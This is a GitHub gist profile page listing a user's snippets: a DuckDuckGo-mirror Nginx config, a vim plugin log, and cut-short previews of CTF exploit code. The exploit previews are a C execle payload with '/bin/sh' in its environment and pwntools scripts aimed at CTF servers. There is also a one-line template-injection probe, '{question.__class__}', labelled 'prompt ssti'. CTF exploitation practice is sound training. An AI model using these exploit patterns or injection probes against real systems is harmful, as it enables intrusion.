Skip to content

Instantly share code, notes, and snippets.

View cubarco's full-sized avatar

Cubarco cubarco

View GitHub Profile
@cubarco
cubarco / duck.conf
Last active April 9, 2016 13:20
Nginx config file for DuckDuckGo mirror.
server {
listen [::]:80;
listen 80;
server_name duck.domain.com;
return 302 https://duck.domain.com/$uri;
}
server {
listen [::]:443;
from gevent import monkey
monkey.patch_all()
import requests
import sys
from gevent.pool import Pool
from itertools import imap
@cubarco
cubarco / pwnable-hackerssecret-tiny.c
Last active July 18, 2016 21:20
Run pwnable-hackerssecret-tiny.sh and you'll pwn the tiny.
#include <stdio.h>
#include <unistd.h>
int main()
{
char *envp[] = {
"env1=1", "env2=2", "env3=3",
"/bin/sh", "env5=5", NULL
};
execle("/home/tiny/tiny", "\xc8\x75\x55\x55",
#!/usr/bin/env python
# coding=utf8
from pwn import remote, process, p64, u64, ELF
from time import sleep
# p = process('./run.sh')
p = remote('pwn1.chal.ctf.westerns.tokyo', 16317)
# elf = ELF('/usr/lib64/libc.so.6')
elf = ELF('./libc.so.6')
Shellcode_revenge++, Hellozip
@cubarco
cubarco / 1_CTFZone_2018_Quals_exps
Last active July 24, 2018 03:03
CTFZone 2018 Quals exps
easypwn_strings, Mobile Bank
@cubarco
cubarco / dein.log
Created September 30, 2018 10:29
vim-config logs
Runtimepath updated: (2018/09/30 18:22:08)
Update started: (2018/09/30 18:22:08)
(16/95) [=== ] vim-wordy
( 1/95) Cloning into '/home/cubarco/.cache/vim/dein/repos/github.com/hail2u/vim-css3-syntax'...
( 2/95) Cloning into '/home/cubarco/.cache/vim/dein/repos/github.com/AndrewRadev/dsf.vim'...
( 3/95) Cloning into '/home/cubarco/.cache/vim/dein/repos/github.com/pangloss/vim-javascript'...
( 4/95) Cloning into '/home/cubarco/.cache/vim/dein/repos/github.com/dag/vim-fish'...
( 5/95) Cloning into '/home/cubarco/.cache/vim/dein/repos/github.com/chemzqm/unite-location'...
( 6/95) Cloning into '/home/cubarco/.cache/vim/dein/repos/github.com/guns/xterm-color-table.vim'...
( 7/95) Cloning into '/home/cubarco/.cache/vim/dein/repos/github.com/rafi/vim-badge'...
@cubarco
cubarco / 1_hitcon_ctf_2017_exps
Last active October 12, 2019 19:57
HITCON CTF 2017
Start, Easy To Say, Baby Ruby Escaping, Secret FS
#!/usr/bin/env python
# coding=utf8
from pwn import p64, process, ELF
from time import sleep
EXECUTABLE = '/home/unexploitable/unexploitable'
elf = ELF(EXECUTABLE)
@cubarco
cubarco / 1.txt
Last active April 4, 2023 08:03
prompt ssti
{question} {question.__class__}